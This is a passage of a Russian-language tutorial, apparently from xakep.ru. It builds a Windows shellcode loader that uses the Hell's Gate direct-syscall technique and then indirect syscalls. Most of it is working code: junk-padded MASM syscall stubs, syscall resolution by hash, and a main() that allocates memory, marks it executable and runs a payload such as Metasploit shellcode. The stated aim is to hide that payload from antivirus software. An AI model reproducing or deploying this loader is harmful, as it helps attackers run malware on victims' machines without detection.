wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end
Код:
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
Код:
extern VOID HellDescent();
Код:
.data
wSystemCall DWORD 0000h
.code
SetSSn PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
SetSSn ENDP
RunSyscall PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
RunSyscall ENDP
end
Код:
.data
wSystemCall DWORD 0000h
.code
SetSSn PROC
xor eax, eax ; eax = 0
mov wSystemCall, eax ; wSystemCall = 0
mov eax, ecx ; eax = ssn
mov r8d, eax ; r8d = eax = ssn
mov wSystemCall, r8d ; wSystemCall = r8d = eax = ssn
ret
SetSSn ENDP
RunSyscall PROC
xor r10, r10 ; r10 = 0
mov rax, rcx ; rax = rcx
mov r10, rax ; r10 = rax = rcx
mov eax, wSystemCall ; eax = ssn
jmp Run ; goto 'Run'
xor eax, eax ; no run
xor rcx, rcx ; no run
shl r10, 2 ; no run
Run:
syscall
ret
RunSyscall ENDP
end
Функция RunSyscall особо ничем не отличается — в ней лишь была добавлена метка.
ПРЕДВАРИТЕЛЬНЫЙ РЕЗУЛЬТАТ
У нас почти все готово: алгоритм переписан, хеши сгенерированы, ассемблерный код слабенько, но обфусцирован. Остается лишь исправить последние структуры. В Hell’s Gate есть таблица VX_TABLE, которая содержит структуры функций VX_TABLE_ENTRY. Их нужно засисколить. Так как VX_TABLE_ENTRY мы уже изменили, осталось лишь переписать саму VX_TABLE.
Код:
typedef struct _NTAPI_FUNC
{
NT_SYSCALL NtAllocateVirtualMemory;
NT_SYSCALL NtProtectVirtualMemory;
NT_SYSCALL NtCreateThreadEx;
NT_SYSCALL NtWaitForSingleObject;
}NTAPI_FUNC, *PNTAPI_FUNC;
// Глобальная переменная
NTAPI_FUNC g_Nt = { 0 };
Код:
BOOL InitializeNtSyscalls() {
if (!FetchNtSyscall(NtAllocateVirtualMemory_CRC32, &g_Nt.NtAllocateVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of NtAllocateVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtAllocateVirtualMemory Is : 0x%0.2X \n", g_Nt.NtAllocateVirtualMemory.dwSSn);
if (!FetchNtSyscall(NtProtectVirtualMemory_CRC32, &g_Nt.NtProtectVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of NtProtectVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtProtectVirtualMemory Is : 0x%0.2X \n", g_Nt.NtProtectVirtualMemory.dwSSn);
if (!FetchNtSyscall(NtCreateThreadEx_CRC32, &g_Nt.NtCreateThreadEx)) {
printf("[!] Failed In Obtaining The Syscall Number Of NtCreateThreadEx \n");
return FALSE;
}
printf("[+] Syscall Number Of NtCreateThreadEx Is : 0x%0.2X \n", g_Nt.NtCreateThreadEx.dwSSn);
if (!FetchNtSyscall(NtWaitForSingleObject_CRC32, &g_Nt.NtWaitForSingleObject)) {
printf("[!] Failed In Obtaining The Syscall Number Of NtWaitForSingleObject \n");
return FALSE;
}
printf("[+] Syscall Number Of NtWaitForSingleObject Is : 0x%0.2X \n", g_Nt.NtWaitForSingleObject.dwSSn);
return TRUE;
}
В результате наших манипуляций главная функция main() приобретает следующий вид.
Код:
int main() {
NTSTATUS STATUS = NULL;
PVOID pAddress = NULL;
SIZE_T sSize = sizeof(Payload);
DWORD dwOld = NULL;
HANDLE hProcess = (HANDLE)-1, // Текущий процесс
hThread = NULL;
if (!InitializeNtSyscalls()) {
printf("[!] Failed To Initialize The Specified Direct-Syscalls \n");
return -1;
}
SetSSn(g_Nt.NtAllocateVirtualMemory.dwSSn);
if ((STATUS = RunSyscall(hProcess, &pAddress, 0, &sSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0x00 || pAddress == NULL) {
printf("[!] NtAllocateVirtualMemory Failed With Error: 0x%0.8X \n", STATUS);
return -1;
}
memcpy(pAddress, Payload, sizeof(Payload));
sSize = sizeof(Payload);
SetSSn(g_Nt.NtProtectVirtualMemory.dwSSn);
if ((STATUS = RunSyscall(hProcess, &pAddress, &sSize, PAGE_EXECUTE_READ, &dwOld)) != 0x00) {
printf("[!] NtProtectVirtualMemory Failed With Error: 0x%0.8X \n", STATUS);
return -1;
}
SetSSn(g_Nt.NtCreateThreadEx.dwSSn);
if ((STATUS = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, FALSE, NULL, NULL, NULL, NULL)) != 0x00) {
printf("[!] NtCreateThreadEx Failed With Error: 0x%0.8X \n", STATUS);
return -1;
}
SetSSn(g_Nt.NtWaitForSingleObject.dwSSn);
if ((STATUS = RunSyscall(hThread, FALSE, NULL)) != 0x00) {
printf("[!] NtWaitForSingleObject Failed With Error: 0x%0.8X \n", STATUS);
return -1;
}
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Результат не может не радовать. Теперь изменяем шелл‑код, будем запускать Metasploit.
ПРЕВРАЩЕНИЕ В INDIRECT SYSCALL
Убедившись, что наше чудо работает, приведем его к окончательному виду. То, что мы создали, называется Direct Syscall — вызов сискола путем вставки в код программы инструкции syscall. Такой метод самую малость шумноват, так как инструкция syscall нехарактерна для обычных исполняемых файлов.По умолчанию эта инструкция присутствует только в файле ntdll.dll. Поэтому предлагаю переделать нашу программу под Indirect Syscalls. Реализация через косвенные вызовы заключается в том, что в нашем коде будет отсутствовать вызов инструкции syscall. Вместо этого мы собственноручно обнаружим адрес этой инструкции в ntdll.dll, а затем обратимся к нему, что спровоцирует вызов и переход в Kernel Mode.
Сначала изменяем структуру NT_SYSCALL, теперь в ней еще будет лежать и адрес инструкции syscall.
Код:
typedef struct _NT_SYSCALL
{
DWORD dwSSn;
DWORD dwSyscallHash;
PVOID pSyscallAddress;
PVOID pSyscallInstAddress; // Адрес будет вот тут
}NT_SYSCALL, * PNT_SYSCALL;
Для поиска предлагаю использовать алгоритм по добавлению к адресу функции в ntdll значения 0xFF. Этот адрес, если что, на момент поиска инструкции syscall будет лежать в pSyscallAddress.
Код:
#define RANGE 500
...
ULONG_PTR uFuncAddress = (ULONG_PTR)pNtSys->pSyscallAddress + 0xFF;
for (DWORD z = 0, x = 1; z <= RANGE; z++, x++) {
if (*((PBYTE)uFuncAddress + z) == 0x0F && *((PBYTE)uFuncAddress + x) == 0x05) {
pNtSys->pSyscallInstAddress = ((ULONG_PTR)uFuncAddress + z);
break;
}
}
Код:
#define RANGE 500
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}
if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;
for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {
...
}
if (!pNtSys->pSyscallAddress)
return FALSE;
ULONG_PTR uFuncAddress = (ULONG_PTR)pNtSys->pSyscallAddress + 0xFF;
for (DWORD z = 0, x = 1; z <= RANGE; z++, x++) {
if (*((PBYTE)uFuncAddress + z) == 0x0F && *((PBYTE)uFuncAddress + x) == 0x05) {
pNtSys->pSyscallInstAddress = ((ULONG_PTR)uFuncAddress + z);
break;
}
}
if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL && pNtSys->pSyscallInstAddress != NULL)
return TRUE;
else
return FALSE;
}
Из регистров ecx и rdx, которые инициализируются при вызове функции, копируются номер сискола и адрес. А затем в функции RunSyscall() мы заносим номера сискола в реестр eax и переходим по адресу инструкции syscall, что приводит к выполнению Indirect-сискола.
Код:
.data
wSystemCall DWORD 0h
qSyscallInsAdress QWORD 0h
.code
SetSSn PROC
mov wSystemCall, 0h
mov qSyscallInsAdress, 0h
mov wSystemCall, ecx
mov qSyscallInsAdress, rdx
ret
SetSSn ENDP
RunSyscall PROC
mov r10, rcx
mov eax, wSystemCall
jmp qword ptr [qSyscallInsAdress]
ret
RunSyscall ENDP
end
Код:
.data
wSystemCall DWORD 0h
qSyscallInsAdress QWORD 0h
.code
SetSSn proc
xor eax, eax ; eax = 0
mov wSystemCall, eax ; wSystemCall = 0
mov qSyscallInsAdress, rax ; qSyscallInsAdress = 0
mov eax, ecx ; eax = ssn
mov wSystemCall, eax ; wSystemCall = eax = ssn
mov r8, rdx ; r8 = AddressOfASyscallInst
mov qSyscallInsAdress, r8 ; qSyscallInsAdress = r8 = AddressOfASyscallInst
ret
SetSSn endp
RunSyscall proc
xor r10, r10 ; r10 = 0
mov rax, rcx ; rax = rcx
mov r10, rax ; r10 = rax = rcx
mov eax, wSystemCall ; eax = ssn
jmp Run
xor eax, eax ; wont run
xor rcx, rcx ; wont run
shl r10, 2 ; wont run
Run:
jmp qword ptr [qSyscallInsAdress]
xor r10, r10 ; r10 = 0
mov qSyscallInsAdress, r10 ; qSyscallInsAdress = 0
ret
RunSyscall endp
end
Код:
#define SET_SYSCALL(NtSys)(SetSSn((DWORD)NtSys.dwSSn,(PVOID)NtSys.pSyscallInstAddress))
Код:
NT_SYSCALL NtAllocateVirtualMemory = { 0 };
FetchNtSyscall(NtAllocateVirtualMemory_Hash, &NtAllocateVirtualMemory);
SET_SYSCALL(NtAllocateVirtualMemory);
RunSyscall(/* параметры для NtAllocateVirtualMemory */);
Код:
BOOL InitializeNtSyscalls() {
if (!FetchNtSyscall(NtAllocateVirtualMemory_CRC32, &g_Nt.NtAllocateVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of NtAllocateVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtAllocateVirtualMemory Is : 0x%0.2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.NtAllocateVirtualMemory.dwSSn, g_Nt.NtAllocateVirtualMemory.pSyscallInstAddress);
if (!FetchNtSyscall(NtProtectVirtualMemory_CRC32, &g_Nt.NtProtectVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of NtProtectVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtProtectVirtualMemory Is : 0x%0.2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.NtProtectVirtualMemory.dwSSn, g_Nt.NtProtectVirtualMemory.pSyscallInstAddress);
if (!FetchNtSyscall(NtCreateThreadEx_CRC32, &g_Nt.NtCreateThreadEx)) {
printf("[!] Failed In Obtaining The Syscall Number Of NtCreateThreadEx \n");
return FALSE;
}
printf("[+] Syscall Number Of NtCreateThreadEx Is : 0x%0.2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.NtCreateThreadEx.dwSSn, g_Nt.NtCreateThreadEx.pSyscallInstAddress);
if (!FetchNtSyscall(NtWaitForSingleObject_CRC32, &g_Nt.NtWaitForSingleObject)) {
printf("[!] Failed In Obtaining The Syscall Number Of NtWaitForSingleObject \n");
return FALSE;
}
printf("[+] Syscall Number Of NtWaitForSingleObject Is : 0x%0.2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.NtWaitForSingleObject.dwSSn, g_Nt.NtWaitForSingleObject.pSyscallInstAddress);
return TRUE;
}
Код:
int main() {
NTSTATUS STATUS = NULL;
PVOID pAddress = NULL;
SIZE_T sSize = sizeof(Payload);
DWORD dwOld = NULL;
HANDLE hProcess = (HANDLE)-1,
hThread = NULL;
if (!InitializeNtSyscalls()) {
printf("[!] Failed To Initialize The Specified Indirect-Syscalls \n");
return -1;
}
SET_SYSCALL(g_Nt.NtAllocateVirtualMemory);
if ((STATUS = RunSyscall(hProcess, &pAddress, 0, &sSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0x00 || pAddress == NULL) {
printf("[!] NtAllocateVirtualMemory Failed With Error: 0x%0.8X \n", STATUS);
return -1;
}
memcpy(pAddress, Payload, sizeof(Payload));
sSize = sizeof(Payload);
SET_SYSCALL(g_Nt.NtProtectVirtualMemory);
if ((STATUS = RunSyscall(hProcess, &pAddress, &sSize, PAGE_EXECUTE_READ, &dwOld)) != 0x00) {
printf("[!] NtProtectVirtualMemory Failed With Status : 0x%0.8X\n", STATUS);
return -1;
}
SET_SYSCALL(g_Nt.NtCreateThreadEx);
if ((STATUS = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, FALSE, NULL, NULL, NULL, NULL)) != 0x00) {
printf("[!] NtCreateThreadEx Failed With Status : 0x%0.8X\n", STATUS);
return -1;
}
SET_SYSCALL(g_Nt.NtWaitForSingleObject);
if ((STATUS = RunSyscall(hThread, FALSE, NULL)) != 0x00) {
printf("[!] NtWaitForSingleObject Failed With Error: 0x%0.8X \n", STATUS);
return -1;
}
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
ФИНАЛЬНЫЙ ВАРИАНТ
Итак, проект был переписан под Indirect-сисколы, ассемблерный листинг обфусцирован, логика поиска улучшена. Само собой, этот вариант станет еще более незаметным и скрытым от антивирусных программ!
Поздравляю, мы добились желаемого результата!
Автор MichelleVermishelle
источник xakep.ru